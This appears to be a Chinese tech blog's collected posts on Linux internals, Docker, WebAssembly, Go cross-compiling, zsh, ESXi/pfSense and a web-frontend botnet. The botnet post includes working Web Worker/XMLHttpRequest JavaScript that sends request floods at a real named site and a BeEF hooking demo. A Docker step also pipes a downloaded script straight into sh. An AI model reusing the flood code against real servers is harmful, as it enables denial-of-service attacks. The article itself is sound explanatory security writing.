0%

本文旨在宏观地对Linux内核的作用和进程的本质进行理解,如有不足之处,欢迎指正。

0x01 概述

Linux内核本质上是宏内核,也就是说内核作为一个单一的二进制文件,以特权模式运行在计算机中。而组成我们熟知的操作系统,只有一个内核是不够的,还需要有文件系统,Linux的虚拟文件系统(根文件系统)将不同的文件系统组织起来,并为其他程序提供了运行的平台。

如果你想看到Linux内核的位置,切换到/boot/目录下,其中的vmlinuz文件就是内核的二进制文件,可能不只一个,在开机引导的过程中会选择指定的一个内核进行装载。

内核启动之后,负责直接与硬件交互(或者说借助驱动程序),为正常的应用程序提供操作硬件的接口,例如磁盘I/O,标准输入输出,TCP/IP协议等。

img

操作系统架构示意图

0x02 进程的由来

进程,或者说多任务处理,是现代操作系统的一个重要标志。那么进程是怎么来的?

先说结论:进程是内核创建的。

在Linux内核源码中,include/linux/sched.c中,Linus使用C语言结构体定义了进程的数据结构task_struct。这个结构体在计算机开机之后的某一过程中,被内核代码加载到物理内存中,成为第一个进程,在早期Linux中,内核通过一系列设置,将进程的物理地址,虚拟地址设置就绪,模拟进程进入内核态的过程,利用iret指令激活第一个进程的用户态。现代的Linux也是基本一致的思路,不过更为复杂,利用3个特殊进程(pid=0,1,2),完成我们常用进程的创建。这是现代CPU等硬件的进步和更新设计思想引入的结果。

除了pid=0的进程之外,其他的任何进程,都是通过fork或者kernel_thread产生的,而fork或者kernel_thread实际上都是由内核控制的。所以进程都是内核创建的。

0x03 进程的内核态

了解Linux二进制程序的朋友都知道进程的地址空间分布,高地址的一块是内核空间,低地址的一块是用户空间。那么每个进程的高地址部分都有一个内核地址空间,似乎每开启了一个进程,就多了一个内核在运行。然而这只不过是假象,或者说是Linus等人的trick。

其实操作系统只有一个内核在运行,并且在物理内存中只有一个内核(一般为物理内存的低地址部分)。在每一个进程中都有一个内核地址空间,是靠虚拟地址机制完成的,也就是说每一个进程,都有一个虚拟地址空间,然而这些地址在物理内存中的分布是靠另外一套算法进行组织的,主要是分页机制。让每一个进程的虚拟地址空间中都有内核,并不是必须的操作。操作系统完全可以设计成内核只存在于物理地址中,然而这样会损失效率,因为要频繁地查询页表确定内核在物理内存中的位置。

因此,进程进入了内核态,从单一进程的角度是进入了进程的特权状态。而实际上是进程将操作权限交还给内核,这种交还可能是主动的,如系统调用,也可能是被动的,如进程调度。

安装Docker:

1
wget -qO- https://get.docker.com/ | sh

拉取wordpress和Mariadb

1
2
docker pull wordpress
docker pull mariadb

运行Mariadb容器

1
2
3
4
5
mkdir wordpress
cd wordpress
docker run -e MYSQL_ROOT_PASSWORD=xxxxxx -e \
MYSQL_DATABASE=wordpress --name wordpressdb -v \
"$PWD/database":/var/lib/mysql -d mariadb:latest

运行wordpress容器

1
docker run -e WORDPRESS_DB_PASSWORD=xxxxxx --name wordpress --link wordpressdb:mysql -p 127.0.0.1:8080:80 -v "$PWD/html":/var/www/html -d wordpress:latest

Login到DockerHub

1
docker login -u username -p password

打包数据库容器为镜像

1
docker commit -m message -a author containerid name(mariadb:v0)

Push到DockerHub

1
2
docker tag mariadb user/repo:name
docker push user/repo:name

以上步骤还需要将~/wordpress/html中的wordpress站点文件做好备份。

0x00 缘起

刚学二进制的时候,对堆没什么概念,就知道是内存,什么都不懂的时候倒没有什么。好好学了Linux操作系统之后,知道了物理内存,虚拟内存,内存分页,操作系统对内存的分配等等。此时突然想到了当时没看懂的堆溢出攻击,今天也看了一些书,都说是由操作系统进行管理的,还以为堆对物理内存中的东西。

然而看了看堆溢出攻击的原理,可以构造一个数据结构,让操作系统认为这个是堆块,也可以覆盖堆块。重要的是在线性内存(虚拟地址)中,可以看到堆的数据结构。

0x01 思考

虽然堆的分配,合并等过程,完全是由操作系统完成的,但是每个进程的堆的的确确是用线性地址进行组织的。所以可以从调试器中看到堆块,块链表等数据结构。

那为什么Linux Windows都有堆这种数据结构呢?虽然一时解释不出来,但是我觉得按块分配内存,对于高级编程来说应该是很重要的。

0x02 类比

堆的双向链表很容易让人联想到的数据结构是操作系统内核的缓冲区。想来堆和缓冲区的思路有一部分是重合的,缓冲区是在实实在在的物理内存中,或者说是内核的地址空间,而堆是在进程的线性地址空间,层次不同。另外缓冲区是要尽量多地占用(尽可能驻留内存),像Mac OS的方式就是将几乎所有空闲物理内存作为缓冲区,以增强性能(文件、软件打开速度);而堆块不用了要赶紧free掉(否则内存泄漏),理念也不同。

0x00

原文作者:Andreas Haas等 (Google), Dan Gohman等(Mozilla), Michael Holman(Microsoft),JF Bastien(Apple)

原文标题:Bringing the Web up to Speedwith WebAssembly

原文会议:PLDI 2017

原文链接:https://pldi17.sigplan.org/event/pldi-2017-papers-bringing-the-web-up-to-speed-with-webassembly

可下载链接:https://dl.acm.org/citation.cfm?id=3062363

Web平台的成熟引发了复杂和性能要求苛刻的Web应用程序,如交互式3D可视化,音频和视频软件以及游戏。因此,Web平台上代码的高效性和安全性变得越来越重要。然而,JavaScript作为Web平台(浏览器)唯一内置的语言,并不能很好地满足上述需求。

来自四大浏览器供应商(Google, Mozilla, Microsoft, Apple)的工程师已经面对这一挑战,合作设计了一个名为WebAssembly的可移植的底层字节码。它提供严谨的格式、有效的验证和编译、低或无开销安全执行。WebAssembly不针对特定的编程模型,而是对现代硬件的一层抽象,这使得WebAssembly和语言、硬件、平台无关,其平台也不仅仅局限于Web。WebAssembly从一开始就被设计为具有正式的语义。论文描述WebAssembly的动机,设计和形式语义,并提供一些实现的初步经验。论文的信息量很大,为了避免篇幅过长,本文只针对论文中提到的及基本思路以及效果进行着重介绍。

0x01 基本概念

文章在第一章首先介绍了WebAssembly的一些特性,即安全性、运行速度、可移植性,压缩性(WebAssembly二进制格式非常紧凑,对于通过网络传输的代码来说能够占用较小带宽,提升加载速度)。同时,文章也回顾了在浏览器中运行底层代码在过去的解决之道。例如Microsoft’s ActiveX,Native Client、Emscripten等等。接下来,作者介绍了WebAssembly的抽象语法,如图1所示。

图1 WebAssembly抽象语法

图1 WebAssembly抽象语法

对应图1对抽象语法的表示,论文稍微详细介绍了其中的一部分。

1. 模块(Modules)

Modules定义了函数(functions)、全局变量(globals)、表(tables)、内存(memories)。Modules可以理解为“类”,Modules是静态的,但是模块可以实例化。实例化是由操作系统或JavaScript虚拟机进行的,Modules可以导入也可以导出。

2. 函数(Functions)

除了我们认识的函数之外,论文也解释了WebAssembly函数的一些特性。WebAssembly的函数不是头等函数(first-class function),通俗地讲,函数不能作为其他函数的参数,返回值,赋值给变量等等。但是WebAssembly函数具备嵌套、递归等基本的特性。

3. 指令(Instructions)

WebAssembly基于堆栈的虚拟机(另外一种流行的方法是基于寄存器的虚拟机),采用这种模式构造虚拟机是因为堆栈式虚拟机的二进制程序比寄存器式更紧凑(已经被证明)。由于类型系统,操作数堆栈布局可以在代码中任意位置静态确定,这对于在指令之间编译数据流非常方便,因为操作数堆栈布局可以在指令之间动态确定。

4. 陷阱(Traps)

有一些指令可能会产生陷阱,但是目前WebAssembly无法处理陷阱。嵌入在JavaScript中的WebAssembly会向JavaScript抛出异常,可以被JavaScript捕获和检查。

5. 机器类型(Machine Type)

WebAssembly只有4中基本类型,所有这些都可以被通用硬件支持。包括整数和IEEE 754浮点数,每个数字都是32位或64位宽。

6. 局部变量(Local Variables)

局部变量使用0作为初始化,并且分别通过get_localset_local指令进行读取或写入。tee_local允许写入一个局部变量的同时在栈上留下一个输入值,这在实际代码中很常见。局部变量的索引空间以函数参数开头,这意味着函数参数也是可变的。

7. 全局变量(Global Variables)

模块可以声明全局变量,全局变量使用get_local和set_local指令去读写。虽然全局变量使用了变量(Variables)这个词,但是全局变量也可以是不变的(常量)。声明一个常量必须使用常量表达式。

0x02 线性内存和控制流

WebAssembly使用线性内存,主存储使用一个大字节数组进行组织。每个模块(Modules)可以定义自己内存,模块的内存可以通过导入导出与其他实例共享。内存使用初始大小创建,但是可以随需要动态增长。大小增长的单位是64KiB,这是现代计算机最小页面大小和最大页面大小的最小公倍数。这个页面允许重复使用,固定的大小也方便进行边界检查。

线性内存使用loadstore指令进行访问,内存的访问是对齐的,这些指令采用静态对齐指数,正向静态偏移量,可选静态宽度以及动态i32地址进行组织,地址无符号整数。另外,WebAssembly的线性内存采用小端序(little-endian)进行组织。

为了保证安全性,线性内存和代码空间的数据结构不相交,也就是线性内存和代码空间完全在两个地方。编译的程序不能破坏其执行环境、跳到任意位置或其他未定义的行为。另外,快速的进程间隔离是WebAssembly与不可信JavaScript和Web API交互的设计约束,并且WebAssembly还允许在不违反内存安全的情况下将WebAssembly引擎嵌入到任何其他托管语言运行时中,并且允许具有自己内存的具有多个独立实例的程序存在于同一个进程中。

WebAssembly的结构化控制流突出的一个特性是不允许简单跳转,而只能使用结构化的方法(如breakcontinue)。

注:对于函数调用,导入导出表等方法,本文不进行过多叙述。

0x03 跨平台语义确定性

WebAssembly的一个目标就是在不牺牲代码性能的情况下,做到可移植,这就需要跨平台的语义确定性。在硬件不同的情况下,WebAssembly以最小的执行开销为所有硬件中的所有硬件提供了确定性语义。但是还是有三种特殊情况需要考虑。

1. NaN 值

NaN值在不同平台没有一个确定的标准,如果在每次数值操作后都进行NaN标准化开销又太大。因此WebAssembly使用了NaN-boxing技术来避免这一问题。

2. 资源枯竭

WebAssembly在不同平台运行时,由于平台差异,当试图增长线性内存时,一些平台可能会出现资源枯竭的情况。调用或调用间接指令也可能会遇到堆栈溢出,但这从WebAssembly本身内部不是可以观察到的。

3. 主机函数(Host Functions)

Host Functions可以理解为系统函数调用,可能会引起WebAssembly的状态变化,但是这不在WebAssembly语义可控范围之内。

0x04 执行

论文在对执行进行解释的时候使用了非常多离散数学表示方法。本文只进行一些粗浅的介绍。

执行相对于全局存储来进行,存储是已分配的模块实、表和内存的存储记录。列表中的索引可以被认为是地址,函数的运行时采用闭包来表示。模块的实例需要被转化为实体记录,转化方法如图2所示。

图2 运行时对象表示语法

图2 运行时对象表示语法

为了得到更紧凑的执行规则,同时避免引入操作数和堆栈的单独概念,采用小步缩减(Small-Step)的方式来缩减规则。缩减方法如图3所示。

图3 小步缩减规则

图3 小步缩减规则

0x05 嵌入和互操作性

WebAssembly类似于虚拟的指令集架构(ISA),它没有定义程序如何加载到执行引擎和I / O操作的方法,这种分离设计(嵌入器不由WebAssembly实现)是为了将WebAssembly顺利嵌入到执行环境当中去。而嵌入器定义了模块如何加载,模块之间的导入和导出如何解析,并提供外部函数来完成I / O操作和计时器,并指定如何处理WebAssembly的陷阱(异常)。论文中的主要用例是浏览器JavaScript的嵌入,这些机制是通过JavaScript和Web API实现的。

1. JavaScript API

通过浏览器中的JavaScript API加载,编译和调用WebAssembly模块。粗略的方法是:

1)从给定源(如网络或磁盘)获取二进制模块

2)实例化模块,提供必要的导入

3)调用所需的导出函数

由于编译和实例化可能很慢,所以用异步方法进行上述处理,其结果包含在JavaScript Promise中。

2. 链接

链接嵌入程序可以实例化多个模块,并使用导出到另一个模块的导出模块。实例之间可以彼此调用对方的函数,共享内存或共享函数和表。导入的全局变量可以作为链接的配置参数。在浏览器中,JavaScript API还允许在外部创建和初始化内存或表,或访问导出的内存和表。它们被表示为专用JavaScript类的对象,每个内存都由标准的ArrayBuffer支持。

3. 相互操作性

链接不同的人编写出的模块是可能的,但是作为低级语言,WebAssembly不提供任何内置对象模型。开发人员需要将他们的数据类型映射为数(numbers)或内存(memories)。这种设计为开发人员提供了最大的灵活性。另外,尽管WebAssembly具有编程语言形式,但是它是对硬件的抽象,而不是对编程语言的抽象,因此与之前的虚拟机不同,WebAssembly不授予任何编程语言编程和对象模型的特殊待遇或是对某些编程语言进行遏制(也就是说任何编程语言都可以编译为WebAssembly,只要编译器针对WebAssembly抽象硬件进行设计)。

开发人员还可以在WebAssembly之上定义常见的ABI,以便模块可以在不同种类的应用程序中相互操作。这种分离方式对于使WebAssembly成为通用的代码格式至关重要。

0x06 实现

WebAssembly的一个主要设计目标是高性能,又能不牺牲安全性或可移植性。 在整个设计过程中,论文的作者们(四大主流浏览器厂商的工程师们)在所有主流浏览器中开发了WebAssembly的独立实现,以验证和通知设计决策,这一节中主要介绍一些有趣的实现的点。

1. 四大浏览器引擎的实现方案

V8(Google Chrome中的JavaScript引擎),Spider-Monkey(Mozilla Firefox中的JavaScript引擎)和JavaScriptCore(WebKit中的JavaScript引擎)在实例化之前重新使用其优化的JIT编译器来提前编译模块。这实现了可预测的高峰值性能,并且避免了热身时间(也就是热启动时间)的不可预测性,而这对JavaScript来说常常是一个问题。

而微软的Chakra(查克拉,Microsoft Edge中的JavaScript引擎)在第一次执行时离散地将单个函数翻译为解释后的内部字节码格式,然后JIT编译最热门的函数。 这种方法的优点是更快的启动速度和更低的内存消耗。我们预计更多实现方案会随着时间的推移而发展。

2. 快速验证

本文中没有选取论文中关于验证的部分,有兴趣的朋友可以查看可以去原文第4章Validation中查看WebAssembly快速验证代码方案。

WebAssembly的关键设计目标是快速验证代码。 在上述四个实现中,使用了抽象控制堆栈,具有类型的抽象操作数堆栈和前向程序计数器的相同基本策略。 验证是通过即时检查传入字节码进行的,没有构建中间表示。我们在现代工作站上的一套代表性基准测试中测量的单线验证速度在75 MiB / s和150MiB / s之间。 这大约能够以1吉比/秒的全网速度下执行验证。

3. 底线JIT编译器(Baseline JIT Compiler)

Mozilla的SpiderMonkey引擎包含两个WebAssembly编译层。 第一个是WebAssembly特定的快速Baseline JIT,它与验证结合,在一次发送中发出机器代码。 JIT在编译期间不会创建内部中间表示(IR),但会跟踪寄存器状态并尝试在正向通道中执行简单的贪婪寄存器分配。 Baseline JIT仅用于快速启动,而Ion优化JIT则在后台并行编译模块。 Ion JIT也被SpiderMonkey用作JavaScript的顶层。

4. 优化JIT编译器(Optimizing JIT Compiler)

V8,SpiderMonkey,JavaScript-Core和Chakra都包括优化JIT,以实现WebAssembly的最高峰值性能。 V8和Spider-Monkey顶级JIT都使用基于静态单赋值形式(SSA)的中间表示(IR)。因此,重要的是要验证WebAssembly可以在单一线程中解码为SSA格式,以供给这些JIT。

0x07 性能测试

论文首先以本机代码(Native Code,使用Clang生成)的运行时间为基准,使用PolyBenchC对WebAssembly(使用Emscripten生成)进行了性能测试,测试结果如图2所示。在这张图里使用Native Code运行时间做归一化,所以100%的一条横线是Native Code的运行时间,Native Code是用Clang编译的真正的二进制程序,WebAssembly有4中情况运行速度更快,7种情况最多没有超过Native Code 的10%,而大部分情况是没有超过Native Code的200%的,这个性能对于运行在V8和SpiderMonkey浏览器引擎里的代码来说,已经非常快了。

图4 WebAssembly与Native Code运行时间对比

图4 WebAssembly与Native Code运行时间对比

对于WebAssembly和asm.js的速度对比,论文没有进行画图比较,作者提到了WebAssembly相较于asm.js快了33.7%。另外,对于代码的紧凑性,实验也进行了比较。论文比较了WebAssembly和asm.js,以及WebAssembly和x86-64本机代码(Native Code)。结果如图5所示。

图5 WebAssembly与asm.js和NativeCode二进制大小对比

图5 WebAssembly与asm.js和NativeCode二进制大小对比

平均来说,WebAssembly代码是asm.js的大小的62.5%(中位数68.6%),以及本机x86-64代码大小的85.3%(中位数78%)。

0x08 总结

论文中提出的新技术已经在四大主流浏览器引擎中得到了实现。虽然WebAssembly于2017年11月开始受到四大主流浏览器支持,到现在也仅仅过去半年,还有很多需要完善的地方。但是WebAssembly是Web的一个新趋势,其更加广泛的应用势必会给Web带来新的能力和发展空间,同时可能也会为Web安全带来一个全新的领域。

0x01 缘起

要在斐讯K1/K2上写一些代码操纵流量走向,操作逻辑也比较复杂,为了性能本人一开始是用C的,直接在openwrt官网上就可以下载到全套的SDK,包括GCC,G++等等。然而写了两天,已经泡在bug的海洋里了,还是菜。

为了赶上deadline,不得不换Golang。然而Golang的官方版本是没有针对mipsel架构的,但是Google一下发现Gitbub上存在一个单独的Go项目可以针对mipsel进行交叉编译。

tip:据说Golang的速度仅次于C++,本人没有实际测过。

0x02 环境

本次配置要感谢Go语言中文网jacle169的这篇文章

为了赶deadline,很多坑都没有细看怎么回事,直接跳过了。比如:

  1. 需要用Ubuntu,我用的是Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux,第一次尝试用Kali Linux,同样的架构,但是出现了编译不通过的问题

  2. 环境变量的配置也比较恶心,按照上述文章的配置,编译看似通过,但是会有一个隐藏的error输出在一堆正常输出中间,不仔细看就略过了。产生的问题就是编译后的bin目录下只有一个gofmt可执行程序,而没有go程序。因此,环境变量的配置如下:

1
2
3
export GOOS=linux 
export GOARCH=mips32le
export CGO_ENABLED=0

重要的是最后一行,应该是嵌入C语言的配置。

0x03 过程

直接摘抄jacle169的过程,但是填了我遇到坑。我配置时候的过程也差不多,除了GO项目放置的位置不一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//下载go-mips32源 
git clone https://github.com/gomini/go-mips32.git
cd go-mips32/src

//配置GO编译参数
export GOOS=linux
export GOARCH=mips32le <== Change to mips32 if mips
export CGO_ENABLED=0

//执行编译
./make.bash
cd ..
//创建编译后文件存放文件夹
sudo mkdir /opt/mipsgo
//复制
sudo cp -R * /opt/mipsgo
//go工程参数配置
export GOROOT=/opt/mipsgo
export PATH=/opt/mipsgo/bin:$PATH

3.编译go程序作为测试
mkdir /opt/slu
cd /opt/slu
vim main.go

main.go — helloworld源码:

1
2
3
4
5
6
7
package main

import "fmt"

func main() {
fmt.Println("hello icoolpy.com")
}

其实配置GO编译参数的三行export可以在终端显式运行,也就是在进行源码编译时:

1
GOOS=linux GOARCH=mips32le CGO_ENABLED=0 ./make.bash

0x04 测试

深夜发牢骚

还是因为对自己不自信吧,以为自己敲的命令是错的。

事件的起因是ipv6。我经常用scp,ssh,但是scp的时候ipv6的地址会报错,一看是因为冒号太多了,识别不了,可以理解。然后google了一下解决办法是加方括号把ipv6地址括起来,试了一下,还是报错no matches found,当时我的内心是这样的:卧槽,scp连ipv6地址都不支持还搞毛线。

今天又试了一下(确切说是昨天),不是scp的命令了。

想用ssh本地端口转发,又不行了。这回完全是刚才的图了。

想想自己也是很蠢的,都没有把这个错误关键字Google一下,刚才一查直接就查到了是zsh的问题。

终端要炫酷,肯定要用zsh的嘛。。。不过居然是zsh不兼容的问题,我也是服。

换成bash来执行就完全没问题了。

解决

在~/.zshrc文件中加入

1
setopt nonomatch

然后命令行输入

1
source ~/.zshrc

就没问题了。

初步看了一下问题,主要是zsh会自动解析命令中的东西,我还不知道这有啥用,可能在某些我不知道的方面是有用的吧。

实在是个坑(当我知道是zsh的问题的时候的心情无法用语言来形容)。

转载自Freebuf,虽然原作者就是我。。

Web前端僵尸网络的基本原理

僵尸网络(Botnet)已出现多年,对网络安全构成了巨大的挑站。随着攻防技术的发展,除了基于PC和服务器的传统僵尸网络,近年来,还出现了多种形态的僵尸网络,如基于智能手机、IOT设备或者Webshell等等的新型僵尸网络。

除此之外,本文将介绍一种基于Web前端的僵尸网络。在新的HTML5标准越来越广泛地被使用之后,HTML5的强大功能为构建僵尸网络提供了可能性。由于这种僵尸网络基于支持HTML5的Web前端浏览器,所以其权限很低。不过,基于Web前端的僵尸网络至少可以用作DDOS攻击,如果处理得当,也可以用作对HTTP服务器进行扫描等操作。

下面是本文总结的Web前端僵尸网络的技术基础:

1、HTML5 新增技术——Web Worker技术。这是一种多线程机制,使得浏览器可以在不影响用户操作的同时处理其他事务,这为恶意的JS脚本提供了异步环境;

2、HTML5 新增机制——跨域资源共享机制(CORS)。CORS处理机制工作在浏览器层面,如果服务器不允许跨站,浏览器将拦截服务器返回的结果。也就是说即使是跨域请求,服务器也同样会处理,并正常返回请求的资源。这个技术本身其实不对僵尸网络构成支持,但是HTML5支持CORS机制之后并未禁止跨域发送请求,这就成了前端僵尸网络立足的关键;

3、Web蠕虫。类似于传统的蠕虫病毒,Web蠕虫使前端僵尸网络可以自行传播,结合Web蠕虫,前端僵尸网络可以相对容易地形成规模。

以上三个技术点,合成在一起,为僵尸网络的存在提供了基本条件。下面进行详细介绍。

Web Worker

Web Worker 是运行在后台的 Javascript,独立于其他脚本,不会影响页面的性能。下面简单列举一下Web Worker能够做什么。

  1. 可以加载一个JS进行大量的复杂计算而不挂起主进程,用户可以在Worker运行期间做点击、选取内容等等任何事情;

  2. 可以通过postMessage,onmessage方法进行线程通信;

  3. 可以在Worker中通过importScripts(url)加载另外的脚本文件;

  4. 可以使用 setTimeout,clearTimeout,setInterval,clearInterval等方法;

  5. 可以使用XMLHttpRequest来发送请求,以及访问navigator的部分属性。

Web Worker增强了浏览器的能力。功能强大了,危险性也随之增大了。

CORS跨域资源共享机制

跨域HTTP请求(Cross-site HTTP request)是一类相对特殊的浏览器请求,这种请求不是浏览器向在本页面为它提供资源的域名发起的,而是浏览器向其他的域名发起的。CORS机制可以让Web应用服务器能支持跨站访问控制,从而使得安全地进行跨站数据传输成为可能。

很多文章和资料对CORS机制内部工作原理解释的不够清楚,导致本人一度以为CORS是在跨域请求发出时拦截或者在服务器层次禁止了资源的返回。然而实际上CORS安全机制并没有针对服务器提供任何保护。

本文只针对XMLHttpRequest总结以下几点:

  1. XMLHttpRequest请求可以发送到跨域服务器;

  2. 跨域服务器会对之前的XMLHttpRequest做出响应;

  3. 跨域服务器对XMLHttpRequest的响应和正常访问这个服务器产生的响应没有任何区别;

  4. 未能加载服务器资源的原因是浏览器对跨域资源做出了拦截限制。

因此,对于服务器来说,假设有10000个XMLHttpRequest同时对某资源发出请求,以上的请求与10000个用户同时用浏览器正常访问这个资源是等价的,因为都要做同样的处理,都要返回同样的内容。这也就是说,使用Web Worker和XMLHttpRequest进行DDOS攻击是可行的。

Web蠕虫

Web蠕虫是Web前端僵尸自行传播的方法。这种机制利用的是传统前端漏洞,例如XSS漏洞。

img

本文没有尝试实现僵尸节点(Web前端)和控制端的交互,这需要更复杂的JS代码,顺便提一下已经实现此类功能的BeEF XSS框架。

这个框架很流行,集成了很多功能,甚至能够结合MSF使用。但是这些不在本文的探究范围之内。本文只对这个框架控制端和僵尸节点的交互进行演示。

Kali Linux系统中集成了这个工具,本文用Kali Linux虚拟机进行演示。

打开BeEF框架之后如图所示,不要关闭这个终端,等待程序加载完成后,一般情况下浏览器会弹出,如果没有弹出,打开浏览器手动输入终端中显示的UI URL。

img

默认的用户名和密码都是beef。登录成功后的页面如下:

img

首页上有一些被植入恶意Javascript的Demo。为了演示的方便,使用实体机的Safari浏览器进行访问,将会在左侧显示信息。接下来按照下图点击到如下页面。

img

点击红色圆圈中的Execute之后,将会在用户浏览器执行上面方框中输入的Javascript代码,给用户的浏览器弹出一个对话框,下图是实体机的Safari浏览器中的效果:

img

通过这种方式,就可以在用户的浏览器中执行控制端需要僵尸节点执行的代码。有兴趣的朋友可以去读一下BeEF框架中hook.js文件源代码,应该会有很多启发。

僵尸网络节点代码测试(源代码根据《Web前端黑客技术揭秘一书》实例修改)

测试的思路是:植入恶意Javascript代码,批量对某网站发送100次XMLHttpRequest,此次尝试的对象是腾讯的网站,因为单个节点的100次请求肯定对腾讯服务器无影响。攻击url为:http://news.qq.com/photo.shtml,用户访问的url为:http://localhost/botnet/index.html,测试代码见附录。

通过Wireshark和chrome浏览器network开发者工具对测试结果进行分析:

Wireshark抓到的tcp流:

img

详细查看Response:

img

Chrome:

img

img

可以看到,Wireshark抓到了Response是有资源数据的,但是Chrome中得到的只有服务器返回的状态信息,这是CORS机制在浏览器层次对于跨域资源做了限制。

但是,Wireshark抓包得到的数据可以证明服务器实实在在地对每个请求都做出了正常的响应。当这样的僵尸节点数目和Web Worker并发数目都增大到一定的等级,理论上就可以形成强大的DDOS攻击了。

总结

HTML5时代的Web前端已经不再那么简单。支持HTML5的浏览器,给了僵尸网络足够的生存空间。

附录:测试代码(根据《Web前端黑客技术揭秘》示例代码修改)

run_worker.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
var worker_loc= 'worker.js';

var workers = new Array();

var i = 0;

var noWorker = typeof Worker =="undefined" ? true : false;

var target = 'http://news.qq.com/photo.shtml'

if (!noWorker) {

try {

for(i = 0; i < 1; i++) {

workers[i] = new Worker(worker_loc);

workers[i].postMessage(target);

}

}

catch(e) {

//comment out in release

e =e + "";

if(e.indexOf("Worker is not enabled") != -1) {

noWorker = true;

}

}

}

​ 当浏览器支持Web Worker的时候,就会根据代码循环建立Worker。利用new worker(worker_loc)方式,创建Worker对象,并利用Worker的postMessage方法向worker发送指令等数据。多个Worker可以实现并发。但是本例只建立了一个Worker。

worker.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function makeRequest(base) {

varfullUrl = base

varhttpRequest = new XMLHttpRequest();

httpRequest.open("GET", fullUrl, true);

httpRequest.send(null);

}

function dos(base) {

var i =0;

for (i= 0; i < 100; i++) {

console.log(base);

makeRequest(base);

}

}

self.onmessage = function (e) {

base =e.data;

dos(base);

}

Web Worker可以使用XMLHttpRequest发送跨域请求。这个函数可以使用GET和POST两种方法,一般使用GET方法就可以了,但是POST方法不限制发送长度和字符,有些情况必须要用POST方法。本例中采用GET方法测试。

index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<style>

#page{width: 100%; height: 100%;}

body{margin:0}

</style>

<script type="text/javascript">

varworker_loc = 'worker.js';

</script>

<script type="text/javascript" src="run_worker.js">

</script>

</head>

<body>

<iframe id="page"name="page" src="http://www.example.com" frameborder=

"0"noresize="noresize"style="overflow:visible"></iframe>

</body>

index.html几乎没有更改,因为这个网页的内容对恶意javascript的测试没有影响。

补充

其实在这里写一遍就想补充一下。

的确,利用XSS蠕虫弄一个门户网站估计费劲不说也会马上被修复,但是,仔细想想,好像有不用XSS就产生了很大效果的事件吧。

补充到此结束。

vSphere ESXi

vSphere ESXi是VMware公司的服务器系统,老版本的vSphere ESX是基于Red Hat Linux的服务器控制平台,而新版本的ESXi直接在VMkernel上运行,一个vSphere ESXi 6.0.0系统的镜像大小缩小为375MB左右。

为服务器安装vSphere ESXi系统时可以采用平时装机常用烧USB的方式,不过前提是对服务器比较熟悉,如果是新服务器还需要配置虚拟存储器,如果插了很多块硬盘可能会有分区等操作。

另外,U盘启动之前,启动模式要调成EFI模式,不能用BIOS模式,否则会出现坑,坑长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
Loading /tboot.b00
Loading /b.b00
Loading /useropts.gz
Loading /k.b00
Loading /a.b00
Loading /ata-pata.v00
Loading /ata-pata.v01
Loading /ata-pata.v02
Loading /ata-pata.v03
Loading /ata-pata.v04
Loading /ata-pata.v05
Error loading /ata-pata.v05
Fatal error: 6 (Buffer too small)

坑跳过去基本就没事了。

如果是接到家里路由器上的话,给服务器配个静态IP地址,然后用客户端连接就可以了。客户端和服务器之间通过https进行通信,不过ESXi的一个非常坑爹的特点是不支持NAT,只有类似于我们在VMware Workstation里边的桥接模式,但是很多时候我们有这方面的需求。

当然了,如果是在家连个路由器用的话,大可不必折腾后边的pfSense软路由了。虚拟机网络直接桥接,无非是路由器多分配几个IP地址而已。

pfSense软路由

本次实验环境搭建的情景是这样的:一台服务器有N个虚拟机需要联网,但是IP地址只有两个。

其实也可以只有一个IP地址,将pfSense作为路由器,这样的方式一般在自己家里和学校的实验室比较常见,只有一个PPPOE账号,也就只有一个IP地址,或者教育网内的网口,不允许申请多个IP的那种。个人觉得这种方式的重量级,虽然比起买个小型路由器大了很多,但是在N人共用一个路由器,需要很大NAT转发能力的情况下,用服务器取代小型家用路由器,也是一个不错的选择(经费足够的情况下)。毕竟服务器的运算速度和内存是嵌入式设备不能比的。

不过一个IP地址,在刚才的情况系可能还是需要外接一个WIFI无线网卡(否则网线不够插的啊)。

其他的情景应该也有很多吧,比如作为大一点的网关什么的,我猜的。。

没试过只有一个IP地址的,就不多说了,两个IP地址就好整多了,假设只有两个ip地址10.10.10.1010.10.10.11,配置好后大概的结构是这样的:

服务器IP地址 :10.10.10.10

pfSense WAN: 10.10.10.11

pfSense LAN : 192.168.1.1

pfSense是一款基于FreeBSD做的操作系统,可以安装在物理机或者虚拟机上,提供Web界面进行配置,用处广泛,可以给防火墙,路由器以及VPN路由等使用。

这次实验是将pfSense安装在虚拟机里,所以才叫做“软路由”。

搭建过程

前边给服务器安装vSphere ESXi的过程就不写了。

ESXi系统搭建好,并配好IP地址10.10.10.10。另外需要一台能访问这个ip地址的电脑,暂时将这台电脑的IP地址算做是10.10.10.9好了,这个不影响,只要能访问到就行。

可以从pfSense官网下载ISO镜像安装pfSense系统,也可以使用OVF模板。我采用OVM模板弄的,这个中文全称是开放虚拟机格式文件。比起ISO还是方便很多。一路下一步就可以建立好一个pfSense虚拟机,但是不要开启。

另外如果想配置好这个软路由,最好在服务器上新建一个Windows虚拟机(其实也可以是带图形的Linux,比如Ubuntu,不过我不喜欢给自己找麻烦)。建立虚拟机之前需要将ISO文件上传到服务器上,可以如下图,直接访问存储器,然后上载文件(还是上传文件这个翻译顺口一点)。

建立虚拟机的过程比较容易,无非就是选择一下系统版本,CPU核心数,内存大小之类的,有一个小坑提一下:

上图打开电源时连接,在开启虚拟机之前一定要勾上,否则会提示没有操作系统,虽然是个很蠢的坑,但是一不小心还真容易犯错,另外上图是我已经完成所有配置后的图,包括网络配置,除了标红的地方剩下的如果有什么不一样可以忽略。

Ok,现在已经有了一台装好ESXi系统的服务器,并且有了两个IP地址,ESXi分配了10.10.10.10,而且添加了一台虚拟机,虽然目前这个虚拟机是无法上网的(除非独吞掉10.10.10.11这个IP地址)

添加网络

第一部,选择添加虚拟机网络:

然后断开所有适配器的链接

改个名字,NAT Network

pfSense命令行配置

